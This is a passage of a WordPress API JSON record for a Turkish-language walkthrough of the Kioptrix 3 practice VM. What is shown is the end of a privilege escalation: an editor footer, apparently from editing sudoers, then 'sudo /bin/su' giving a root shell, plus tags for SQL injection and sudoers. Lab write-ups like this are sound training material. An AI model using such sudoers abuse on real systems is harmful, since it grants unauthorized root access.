\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n1help 2save 3open 4 5goto 6mode 7search 8 9 0quit \n<\/code><\/pre>\nArt\u0131k root olabiliriz.<\/p>\n
loneferret@Kioptrix3:~$ sudo \/bin\/su\nroot@Kioptrix3:\/home\/loneferret# \nroot@Kioptrix3:\/home\/loneferret# \nroot@Kioptrix3:\/home\/loneferret# whoami\nroot\nroot@Kioptrix3:\/home\/loneferret# \nroot@Kioptrix3:\/home\/loneferret# <\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible…<\/p>\n
Devam\u0131n\u0131 okuKioptrix 3<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[28,502],"class_list":["post-1133","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-sql-injection","tag-sudoers","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1133","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1133"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1133\/revisions"}],"predecessor-version":[{"id":1134,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1133\/revisions\/1134"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1133"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}